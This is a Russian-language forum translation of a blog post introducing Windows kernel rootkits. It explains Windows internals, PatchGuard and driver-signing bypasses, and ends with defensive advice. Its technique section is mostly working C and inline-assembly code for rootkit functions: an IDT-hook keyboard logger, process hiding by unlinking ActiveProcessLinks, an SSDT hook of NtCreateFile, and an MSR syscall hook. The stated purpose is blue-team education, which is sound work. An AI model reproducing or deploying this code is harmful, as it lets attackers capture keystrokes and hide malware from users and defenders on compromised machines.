Введение
В этой серии блогов мы рассмотрим тему руткитов - как они создаются, а также основы анализа драйверов ядра - в частности, на платформе Windows.
В этой первой части мы рассмотрим примеры реализации базовой функциональности руткитов, основы разработки драйверов ядра, а также основы Windows Internals, необходимые для понимания внутренней работы руткитов.
В следующей части мы остановимся на некоторых "наглядных" примерах руткитов и их анализе, на том, каково их назначение и как работает их функциональность.
Что такое руткит? Руткит - это тип вредоносного ПО, которое ускользает от обнаружения путем вмешательства в работу ОС и прячется глубоко внутри нее, как правило, в пространстве ядра. Термин "rootkit" заимствован из терминологии Unix, где "root" - это самый привилегированный пользователь в системе.
Такие примеры, как
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
,
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
(он же Alureon),
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
,
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
и другие, свободно и незаметно распространялись на зараженных системах по всему миру.Эти руткиты были руткитами, управляемыми киберпреступниками с целью получения финансовой выгоды, а не спонсируемыми государствами, как можно подумать сегодня.
Поскольку в Windows XP x86 и Windows 7 x86 отсутствовали такие средства защиты, как защита от исправлений или целостность кода, руткиты могли вносить в структуру ядра любые изменения.
Одним из приемов, используемых руткитами старого времени (эпохи x86), был Hooking System Service Descriptor Table (SSDT), который был очень распространен и использовался многими руткитами той эпохи, а также AV-продуктами.
В отличие от тех "золотых" лет, сейчас мы редко встречаем новые руткиты для Windows. Это объясняется наличием вышеупомянутых средств защиты и сложностью разработки рабочего руткита и обхода всех средств защиты.
Когда в сети обнаруживается новый руткит, его обычно связывают с каким-либо государственным органом, например, с
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
и
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.Обратившись к таблице(матрице)
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
, мы можем найти категорию тактик "Rootkit" (T1014) в группе "Defense Evasion", но, к сожалению, в ней полностью отсутствует критический уровень детализации с ровно нулем подтехник.Причина, по которой руткиты требуют повышенного внимания со стороны защитников, заключается в том, что они представляют собой невероятную ценность для злоумышленников. Это связано с тем, что после успешного развертывания руткита злоумышленники могут скрыть свое присутствие, сохраняя доступ к взломанной системе (достигается постоянство).
Руткиты обычно делятся на два основных типа в зависимости от уровня привилегий:
- Kernel-Mode (KM) Руткиты – Это типичный руткит. Руткиты KM работают под управлением высокопривилегированного пользователя (NT AUTHORITY\SYSTEM) в самом ядре и могут модифицировать структуру ядра в памяти, чтобы манипулировать ОС и скрывать себя от Avs и т.д. В Windows это обычно означает работу в качестве драйвера ядра.
- User-Mode (UM) Руткиты – UM-руткиты - это руткиты, не имеющие компонента режима ядра. Они скрывают свое присутствие в системе, используя техники пользовательского режима и API, манипулирующие ОС, такие как Hooking, Process Injection, UM-руткиты не подпадают под классическое определение руткита, поскольку не обязательно работают от имени "root" (хотя для корректной работы им может потребоваться доступ администратора) или другого суперпользователя, если на то пошло. В настоящее время многие современные семейства вредоносных программ содержат в той или иной форме компонент руткита пользовательского режима, поскольку они обычно пытаются обойти обнаружение и удаление антивирусными средствами и самими пользователями.
Понимание этих методов необходимо членам "blue team" для полноценной защиты организации от таких сложных атак и восстановления после них в случае взлома.
Практическое руководство по Windows Internals
Прежде чем приступить к глубокому рассмотрению примеров реализации техник руткитов, мы начнем с некоторой вводной информации, необходимой для понимания концепций и причин, лежащих в их основе.
Как и все современные ОС, архитектура Windows разделена на пространство пользователя (User space) и пространство ядра (Kernel space), каждое из которых живет в своем адресном пространстве.
Каждый процесс в пользовательском режиме имеет частное виртуальное адресное пространство от 0x000000 до 0x7FFEFFFF (в x86, или от 0x0000000000 до 0x00007FFFFEFFFF в x64), а ядро располагается по адресам выше 0x80000000 (в x86, или выше 0xFFFF8000000000 в x64).
** Следует также отметить, что адреса могут обозначаться символами MmHighestUserAddress (0x7FFEFFFF) и MmSystemRangeStart (0x80000000)
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Рисунок 1: Архитектура Windows
На рис. 1 показано, как User Mode накладывается поверх kernel mode.
Как правило, библиотеки API ОС, такие как
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
и
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
используются в User Mode в качестве точек доступа к сервисам ОС.Каждый сервис ОС транслируется в syscall, который впоследствии обрабатывается ядром.
Драйверы устройств и ядро располагаются поверх HAL, поскольку они потребляют его сервисы, тесно взаимодействуют и находятся в одном адресном пространстве.
Драйверы устройств также являются единственными механизмами, которые позволяют пользователям расширять ядро и его возможности, работая на том же уровне привилегий.
В качестве примера того, как слои ОС наслаиваются друг на друга, рассмотрим API-функцию kernel32.dll, такую как
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.При вызове ReadFile реализация, находящаяся в kernel32.dll, разберет переданные ей параметры и вызовет недокументированный
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
в ntdll.dll.В дальнейшем NtReadFile установит в eax соответствующий номер syscall и выполнит инструкцию
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
(или SYSCALL в x64).Инструкция SYSENTER создаст ловушку(trap) и перейдет в kernel mode, вызвав адрес, который хранится в
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
(в x86, или LSTAR MSR в x64) который указывает на
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
(KiSystemCall64 в x64).Эта функция сохранит текущий контекст user-mode и установит контекст kernel, после чего вызовет соответствующую версию kernel mode
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
(также может быть назван
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
). Он расположен в
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
, который выполнит основную часть работы и вызовет соответствующий драйвер диска для выполнения фактического чтения с диска.Рисунок 2. Переход вызова функции ReadFile из режима User-Mode в режим Kernel-Mode
Когда драйвер ядра загружен, он имеет доступ ко всей физической памяти (или, по крайней мере, если мы не берем
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
и виртуализацию), а также виртуальную память как пространства ядра, так и память пространства пользователя любого процесса user-space.Находясь в одном адресном пространстве с ядром, драйвер ядра может изменить любую структуру ядра в памяти, чтобы скрыть себя или другие компоненты вредоносной программы в системе.
В прошлом загрузка драйвера и изменение структур ядра могли быть выполнены злоумышленником без особых проблем, но после появления в Windows XP/Vista x64 таких средств защиты, как
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
(Kernel Patch Protection или Patch Guard), их стало сравнительно мало.Patch Guard - это механизм, защищающий структуру ядра (например,
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
и
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
о которых речь пойдет далее) от изменений в памяти или "патчей" со стороны злоумышленника. Он периодически проверяет каждую структуру ядра на наличие изменений; если изменение произошло, то это приводит к BSOD с ошибкой
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
or
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.В настоящее время, прежде чем вносить какие-либо изменения в структуру системы, злоумышленники должны найти способ отключить или обойти Patch Guard, иначе они рискуют вывести систему из строя.
Важно также отметить, что, поскольку Patch Guard работает периодически, если злоумышленник успеет вернуть свои изменения до следующей проверки, это не вызовет BSOD. Это удобно при изменении такой структуры ядра, как флаг
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
20-й бит CR4, когда злоумышленник может отключить флаг, выполнить свой вредоносный код и тут же включить флаг обратно, чтобы избежать проверки на наличие ошибки.В прошлом мы видели следующую технику, использованную
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
для обхода Patch Guard. Злоумышленники использовали хук в KeBugCheckEx, чтобы возобновить выполнение после того, как произошла проверка, эффективно останавливая BSOD.Затем, после того как Microsoft залатала эту дыру, злоумышленники подключили другую функцию,
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
, которая вызывается
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
чтобы аналогичным образом возобновить выполнение без BSOD-инг'а системы.Еще один способ обхода Patch Guard описан в последней
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Кенто Оки (Kento Oki) из 2021 года. Кроме того, несколько лет назад компания CyberArk Labs нашла способ обхода Patch Guard.Еще одна функция, появившаяся в Windows и способствовавшая сокращению числа руткитов, — это
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
для драйверов, которая, по сути, проверяет, подписан ли драйвер доверенным центром сертификации перед его загрузкой.DSE еще больше усложняет задачу злоумышленников по загрузке драйвера, поскольку им придется обойти и это средство защиты — либо получить в свои руки такой сертификат, которым можно было бы подписать свой драйвер, либо использовать механизм таким образом, чтобы обойти его.
Пример обхода Patch Guard+DSE может быть найден
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.Существуют также некоторые старые средства обхода Digital Signing Enforcement/Code Integrity с помощью hfiref0x, такие как
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
и
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
(Turla Driver Loader).Важно отметить, что любая ошибка в рутките (например, ACCESS_VIOLATION) немедленно вызовет BSOD. Нулевые ошибки не допускаются, и это одна из причин некоторой редкости руткитов, поскольку их разработка и внедрение требует высокого уровня профессионализма и отточенного процесса разработки, которыми одиночки чаще всего не обладают.
Об уязвимых драйверах и обходах DSE
В прошлом мы наблюдали, как злоумышленники и авторы вредоносных программ использовали следующую технику для отключения DSE/CI. Эта методика включает в себя несколько этапов:
- Получение привилегий администратора, а точнее, по крайней мере, привилегий
- Загрузка легитимного подписанного драйвера, заведомо уязвимого, как, например, в случае с некоторыми версиями драйверов VirtualBox и CAPCOM.
- Вызов эксплойта, запускающего некоторый код с привилегиями NT AUTHORITY\SYSTEM.
- Изменение глобального флага ядра
Вы должны зарегистрироваться, чтобы увидеть внешние ссылкиилиВы должны зарегистрироваться, чтобы увидеть внешние ссылки(в зависимости от версии Windows) для отключения DSE в масштабах всей системы.
- Загрузка вредоносного неподписанного драйвера
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.В последнее время такое поведение также было ограничено благодаря недавнему дополнению к Microsoft Defender for Endpoint, которое блокирует/запрещает загрузку известных уязвимых драйверов из черного списка.
Фантастические техники руткитов: И как они реализуются
В этом разделе мы расскажем о некоторых распространенных приемах, используемых руткитами. Все примеры были протестированы на Windows 10 RS2 для x86 без включенных Code Integrity и Patch Guard (режим тестовой подписи включен).Перехват Interrupt Descriptor Table (IDT)
Прежде чем мы начнем, несколько слов о том, что такое IDT...Interrupt Descriptor Table - это структура ядра, в которой в качестве записей хранятся подпрограммы-обработчики, называемые
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
(в дальнейшем мы будем называть их ISR).Каждый entry point указывает на функцию, которая обрабатывает конкретное прерывание и будет вызвана в произвольном контексте при срабатывании конкретного прерывания в соответствии с его приоритетом (
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
).В этой части мы покажем простой пример реализации кейлоггера с использованием IDT hooking.
IDT hooking - это технология, при которой происходит патч таблицы IDT и замена определенного ISR на другую процедуру, предоставленную злоумышленником.
В нашем примере - это процедура, которая будет регистрировать значения и передавать их обработку обратно в исходную процедуру.
Начнем с WinDbg, с помощью которого можно проверить, какую запись IDT нужно изменить, чтобы подключить клавиатуру. Используя расширение !idt, мы можем обнаружить, что исходный индекс ISR для записи i8042prt!I8042KeyboardInterruptService равен 0x70.
C-подобный:
kd> !idt 0x70
Dumping IDT: 80e6f400
8077353000000070: 81b882a0 i8042prt!I8042KeyboardInterruptService (KINTERRUPT 88ba80c0)
Процесс перехвата заключается в том, что сначала проверяется, не перехвачен ли уже данный ISR. Если нет, то вызывается GetDescriptorAddress для получения адреса, указывающего на текущий исходный ISR, а затем просто заменяется, используя ту же самую структуру
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.
C-подобный:
UINT32 oldISRAddress = NULL;
void HookIDT(UINT16 service, UINT32 hookAddress)
{
UINT32 isrAddress;
UINT16 hookAddressLow;
UINT16 hookAddressHigh;
PKIDTENTRY descriptorAddress;
isrAddress = GetISRAddress(service);
if (isrAddress != hookAddress)
{
oldISRAddress = isrAddress;
descriptorAddress = GetDescriptorAddress(service);
hookAddressLow = (UINT16)hookAddress;
hookAddress = hookAddress >> 16;
hookAddressHigh = (UINT16)hookAddress;
_disable();
descriptorAddress->Offset = hookAddressLow;
descriptorAddress->ExtendedOffset = hookAddressHigh;
_enable();
}
}
Первым этапом подключения IDT является получение адреса IDT. Для этого используется специальная инструкция ассемблера x86 - sidt, которая считывает специальный регистр IDTR, содержащий адрес IDT.
В приведенном ниже фрагменте определены две структуры - KIDTENTRY и IDT, а также функция GetIDTAddress, которая использует инструкцию sidt для получения адреса IDT.
C-подобный:
#pragma pack(1)
typedef struct _KIDTENTRY
{
UINT16 Offset;
UINT16 Selector;
UINT16 Access;
UINT16 ExtendedOffset;
} KIDTENTRY, *PKIDTENTRY;
#pragma pack()
#pragma pack(1)
typedef struct _IDT
{
UINT16 bytes;
UINT32 addr;
} IDT;
#pragma pack()
IDT GetIDTAddress()
{
IDT idtAddress;
_disable();
__sidt(&idtAddress);
_enable();
return idtAddress;
}
Следующим шагом является реализация следующих двух функций:
- GetDescriptorAddress - Получает идентификационный номер службы прерывания и вычисляет адрес ISR для этого прерывания путем вычисления смещения ISR в IDT и добавления этого смещения к базовому адресу IDT (который мы получаем, вызывая GetIDTAddress, определенный в предыдущем фрагменте).
- GetISRAddress - Вызывает GetDescriptorAddress для получения адреса ISR и преобразует возвращаемое значение из структуры KIDTENTRY в адрес UINT32 путем взятия смещения Extended со сдвигом влево на 16 бит и последующего добавления поля смещения.
C-подобный:
// Получает идентификационный номер службы прерывания и вычисляет смещение в
// таблице IDT, в которой хранится ISR для этой службы.
PKIDTENTRY GetDescriptorAddress(UINT16 service)
{
UINT_PTR idtrAddress;
PKIDTENTRY descriptorAddress;
idtrAddress = GetIDTAddress().addr;
descriptorAddress = (PKIDTENTRY)(idtrAddress + service * 0x8);
return descriptorAddress;
}
// Вызывает GetDescriptorAddress для получения смещения к IDT,
// преобразует возвращаемое значение из структуры KIDTENTRY
// в UINT32 путем взятия смещения Extended offset
// влево на 16 бит, а затем добавляет поле смещения.
UINT32 GetISRAddress(UINT16 service)
{
PKIDTENTRY descriptorAddress;
UINT32 isrAddress;
descriptorAddress = GetDescriptorAddress(service);
isrAddress = descriptorAddress->ExtendedOffset;
isrAddress = isrAddress << 16; isrAddress += descriptorAddress->Offset;
return isrAddress;
}
Последний шаг - создание функции Hook_KeyboardRoutine, которая будет вызывать наш хук обработчик.
После логирования значения вызовом нашего Handle_KeyboardHook мы перейдем к исходному ISR, сохраненному в oldISRAddress. Это делается потому, что нам необходимо вернуть выполнение в исходное русло, чтобы никакие заметные изменения не насторожили пользователя.
C-подобный:
UCHAR lastScanCode;
char scanCodeMapping[56] = { '\0', '\0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '=', '\b', '\t', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '[', ']', '\n', '\0', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';', '\'', '`', '\0', '\\', 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '/', '\0', '*' };
void Handle_KeyboardHook()
{
int status = READ_PORT_UCHAR((PUCHAR)0x64);
char* buffer = NULL;
if (status != 0x14)
{
if (!g_IsInjected && status == 0x15)
{
g_IsInjected = true;
g_LastScanCode = READ_PORT_UCHAR((PUCHAR)0x60);
KdPrint(("Scan Code - 0x%x\r\n", g_LastScanCode));
if (g_LastScanCode < 56) { KdPrint(("Ascii Code - 0x%x => %c\r\n", scanCodeMapping[g_LastScanCode], (char)scanCodeMapping[g_LastScanCode]));
}
WRITE_PORT_UCHAR((PUCHAR)0x64, 0xd2);
WRITE_PORT_UCHAR((PUCHAR)0x60, g_LastScanCode);
}
else
{
g_IsInjected = false;
}
}
}
__declspec(naked) void Hook_KeyboardRoutine()
{
__asm {
pushad
pushfd
cli
call Handle_KeyboardHook
sti
popfd
popad
jmp oldISRAddress
}
}
Для выполнения всей вышеописанной функциональности наш драйвер должен вызвать функцию HookIDT следующим образом...
Первым параметром, передаваемым HookIDT, является 0x70 (индексный идентификатор записи ISR), а вторым - указатель функции, используемой для реализации хука.
Код:
HookIDT(0x70, (UINT32)Hook_KeyboardRoutine);
Прямое манипулирование объектами ядра
Прямая манипуляция объектами ядра (Direct Kernel Object Manipulation или сокращенно DKOM) - очень мощная техника, позволяющая злоумышленнику манипулировать структурами ядра в памяти.В этом примере мы покажем, как скрыть процесс из списка процессов с помощью DKOM, удалив запись из списка
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.
C-подобный:
ULONG_PTR ActiveOffsetPre = 0xb8;
ULONG_PTR ActiveOffsetNext = 0xbc;
ULONG_PTR ImageName = 0x17c;
VOID HideProcess(char* ProcessName)
{
PEPROCESS CurrentProcess = NULL;
char* currImageFileName = NULL;
if (!ProcessName)
return;
CurrentProcess = PsGetCurrentProcess();
PLIST_ENTRY CurrListEntry = (PLIST_ENTRY)((PUCHAR)CurrentProcess + ActiveOffsetPre);
PLIST_ENTRY PrevListEntry = CurrListEntry->Blink;
PLIST_ENTRY NextListEntry = NULL;
while (CurrListEntry != PrevListEntry)
{
NextListEntry = CurrListEntry->Flink;
currImageFileName = (char*)(((ULONG_PTR)CurrListEntry - ActiveOffsetPre) + ImageName);
DbgPrint("Iterating %s\r\n", currImageFileName);
if (strcmp(currImageFileName, ProcessName) == 0)
{
DbgPrint("[*] Found Process! Needs To Be Removed %s\r\n", currImageFileName);
if (MmIsAddressValid(CurrListEntry))
{
RemoveEntryList(CurrListEntry);
}
break;
}
CurrListEntry = NextListEntry;
}
}
Приведенный выше код просто обходит связанный список ActiveProcessLinks текущего процесса (System) в соответствии со смещениями, определенными в структуре
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.Посмотрев на открытые символы в WinDbg, мы можем определить смещения ActiveProcessLinks (связанный список типа
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
) Flink и Blink и ImageFileName.Узнав смещение, мы можем сравнить currImageFileName с искомым ProcessName и, если оно найдено, удалить его запись из списка.
C-подобный:
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x0b0 ProcessLock : _EX_PUSH_LOCK
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 RundownProtect : _EX_RUNDOWN_REF
+0x0c4 VdmObjects : Ptr32 Void
+0x0c8 Flags2 : Uint4B
...
+0x170 PageDirectoryPte : Uint8B
+0x178 ImageFilePointer : Ptr32 _FILE_OBJECT
+0x17c ImageFileName : [15] UChar
+0x18b PriorityClass : UChar
+0x18c SecurityPort : Ptr32 Void
+0x190 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
...
Наконец, в приведенном ниже коде вызывается метод HideProcess, первым параметром которого является имя процесса, который мы хотим скрыть.
Код:
HideProcess("notepad.exe");
SSDT Hooking
System Service Descriptor Table (SSDT) - это структура ядра, содержащая записи для каждого системного вызова в Windows.При выполнении процессором инструкции SYSENTER или
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
(или SYSCALL в x64) после изменения контекста из user-mode в kernel mode вызывается соответствующий обработчик syscall.SSDT Hooking - это классическая техника, используемая руткитами (и защитными программами) для достижения контроля над определенными системными вызовами и вмешательства в их аргументы и/или логику.
Классическим примером может служить перехват
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
, который, по сути, позволит злоумышленнику фальсифицировать любую попытку получить handle к файлу и запретить пользователю доступ к определенным файлам (например, к файлам руткита).В прошлом многие производители антивирусных систем использовали хуки к SSDT для проверки создания нового процесса, нового файлового дескриптора и т.д., поскольку в те времена не существовало механизма получения обратных вызовов типа
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
и др.Поскольку мы подключаем NtCreateFile, нам необходимо найти "индекс" его SSDT-записи.
C-подобный:
kd> dps nt!KiServiceTable L192
8177227c 81728722 nt!NtAccessCheck
81772280 8172f0b2 nt!NtWorkerFactoryWorkerReady
81772284 81965f5c nt!NtAcceptConnectPort
81772288 816e883a nt!NtYieldExecution
8177228c 8195dec2 nt!NtWriteVirtualMemory
81772290 81abdba5 nt!NtWriteRequestData
81772294 8193ab58 nt!NtWriteFileGather
81772298 8193927a nt!NtWriteFile
...
8177283c 81ae5b00 nt!NtCreateJobSet
81772840 81989216 nt!NtCreateJobObject
81772844 819af542 nt!NtCreateIRTimer
81772848 8193a6ba nt!NtCreateTimer2
8177284c 81955de0 nt!NtCreateIoCompletion
81772850 818c9518 nt!NtCreateFile
81772854 81b1f866 nt!NtCreateEventPair
81772858 818dee1c nt!NtCreateEvent
8177285c 8168b446 nt!NtCreateEnlistment
81772860 81ac6ed8 nt!NtCreateEnclave
...
kd> ? (0x81772850 - 0x8177227c) / 4
Evaluate expression: 373 = 00000175
Один из способов найти смещение NtCreateFile в KiServiceTable - выполнить команду dps nt!KiServiceTable и вычесть адрес, указывающий на nt!NtCreateFile, из базового адреса KiServiceTable — деленное на 4 (в x86) ⇒ 0x175 - это наш индекс.
Во-первых, необходимо определить прототипы функций, которые мы собираемся подключить (см. ниже).
C-подобный:
extern "C" NTSYSAPI NTSTATUS NtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
typedef NTSTATUS(*NtCreateFilePrototype)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
Далее мы определяем структуру и экспортируемый символ для SSDT "KeServiceDescriptorTable" (см. ниже).
C-подобный:
typedef struct SystemServiceTable
{
UINT32* ServiceTable;
UINT32* CounterTable;
UINT32 ServiceLimit;
UINT32* ArgumentTable;
} SSDT_Entry;
extern "C" __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
Наконец, мы пишем нашу функцию, которая ставит хук, и нашу реализацию, которая будет заменять хук (см. ниже).
C-подобный:
NtCreateFilePrototype oldNtCreateFile = NULL;
NTSTATUS Hook_NtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength)
{
NTSTATUS status;
DbgPrint("Hook_NtCreateFile function called.\r\n");
DbgPrint("FileName: %wZ", ObjectAttributes->ObjectName);
status = oldNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, AllocationSize, FileAttributes, ShareAccess, CreateDisposition, CreateOptions, EaBuffer, EaLength);
if (!NT_SUCCESS(status))
{
DbgPrint("NtCreateFile returned 0x%x.\r\n", status);
}
return status;
}
PULONG HookSSDT(UINT32 index, PULONG function, PULONG hookedFunction)
{
PULONG result = 0;
PLONG ssdt = (PLONG)KeServiceDescriptorTable.ServiceTable;
PLONG target = (PLONG)&ssdt[index];
if (*target == (LONG)function)
{
DisableWP();
result = (PULONG)InterlockedExchange(target, (LONG)hookedFunction);
EnableWP();
}
return result;
}
MSR Hooking
Как уже упоминалось, MSR - это регистры, специфичные для конкретной модели, в которых хранятся определенные значения для различных функций процессора. В MSR hooking мы подключаем MSR 0x176 (или LSTAR_MSR 0xc0000082 в x64), в котором хранится адрес функции KiFastCallEntry.Изменив значение этого MSR, злоумышленник может перенаправить выполнение всех системных вызовов в системе таким образом, что для обработки всех их ему нужен будет один хук.
Злоумышленник может реализовать свою "магию" в хуке и в итоге передать выполнение обратно в KiFastCallEntry так, что системный вызов будет обработан (и пользователь не почувствует никакой разницы).
В данном примере HookMSR - это функция, которая размещает хук. Сначала она считывает текущее значение MSR и сохраняет его в oldMSRAddress. Затем, если функция еще не была за'hook'нута, она перезапишет MSR новым адресом за'hook'нутой функции в нашем драйвере.
C-подобный:
void HookMSR(UINT32 hookaddr)
{
UINT_PTR msraddr = 0;
_disable();
msraddr = ReadMSR();
oldMSRAddress = msraddr;
if (msraddr == hookaddr)
{
DbgPrint("The MSR IA32_SYSENTER_EIP is already hooked.\r\n");
}
else
{
DbgPrint("Hooking MSR IA32_SYSENTER_EIP: %x –> %x.\r\n", msraddr, hookaddr);
WriteMSR(hookaddr);
}
_enable();
}
В этом разделе определены значения констант MSR и функции ReadMSR/WriteMSR.
C-подобный:
#ifdef _X64
#define IA32_LSTAR 0xc0000082
#else
#define IA32_SYSENTER_EIP 0x176
#endif
UINT_PTR oldMSRAddress = NULL;
#ifdef _WIN32
UINT_PTR ReadMSR()
{
return (UINT_PTR)__readmsr(IA32_SYSENTER_EIP);
}
void WriteMSR(UINT_PTR ptr)
{
__writemsr(IA32_SYSENTER_EIP, ptr);
}
#endif
Приведенный ниже код содержит функцию hooking и вызываемую ею DebugPrint.
DebugPrint сначала проверяет, что dispatchId == 0x7 (
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
0x7 это NtWriteFile), чтобы произвести некоторую фильтрацию, а затем выводит номер идентификатора диспетчера в отладчик. Фильтрация нужна потому, что печать всех syscalls/dispatchId приведет к зависанию системы.
C-подобный:
void DebugPrint(UINT32 dispatchId)
{
if (dispatchId == 0x7)
DbgPrint("[*] Syscall %x dispatched\r\n", dispatchId);
}
__declspec(naked) int MsrHookRoutine()
{
__asm {
pushad
pushfd
mov ecx, 0x23
push 0x30
pop fs
mov ds, cx
mov es, cx
push eax
call DebugPrint
popfd
popad
jmp oldMSRAddress
}
}
Наконец, нам необходимо вызвать функцию HookMSR с функцией hooking для размещения нашего хука.
C-подобный:
HookMSR((UINT32)MsrHookRoutine);
Заключение
В этой статье мы глубоко погрузились в тему руткитов. Мы рассмотрели несколько примеров реализации различных функциональных возможностей руткитов и объяснили причины, стоящие за каждым из них. В конечном итоге мы получаем контроль над системой, не оставляя жертве никаких признаков того, что ее компьютер был взломан.Мы выяснили, почему для написания таких руткитов требуются навыки и ресурсы, доступные в основном только крупным государственным киберструктурам. Мы считаем, что в матрице(таблице) MITRE ATT&CK в разделе "Defense Evasion" не хватает подробностей о субтехниках руткитов, и этот набор тактик должен быть более подробно описан, чтобы предоставить защитникам необходимый уровень информации для разработки стратегии защиты.
Повышение осведомленности о подобных атаках и риске, который они представляют для организаций, должно подтолкнуть их к принятию необходимых мер по защите от таких угроз.
Мы рекомендуем организациям предпринять следующие шаги, чтобы избежать подобных атак:
- Никогда не отключайте Patch Guard (KPP).
- Никогда не отключайте функцию Driver Signing Enforcement.
- Если есть возможность, включите VBS и HVCI через групповую политику (
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки).
- Используйте черный список драйверов Microsoft (
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки).
- Никогда не устанавливайте ненужные драйверы или драйверы из неизвестных источников.
- Избегайте наличия пользователей с привилегиями локального администратора.
- Установите на компьютерах организации систему EDR для защиты и обнаружения аномального поведения.
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.В следующей части серии мы рассмотрим реальные примеры руткитов, демонстрирующих такое поведение, и способы обнаружения их следов в зараженной системе.
Ссылки
-
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
-
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
-
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
-
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
-
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
-
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
1. Переводчик - я. Изначально сделал для хссис, но теперь перезалил сюда.
2. Оцените качество перевода.
3. Планирую перевести все ссылки, а потом приступить к 2 и 3 части. Если конечно время будет.
2. Оцените качество перевода.
3. Планирую перевести все ссылки, а потом приступить к 2 и 3 части. Если конечно время будет.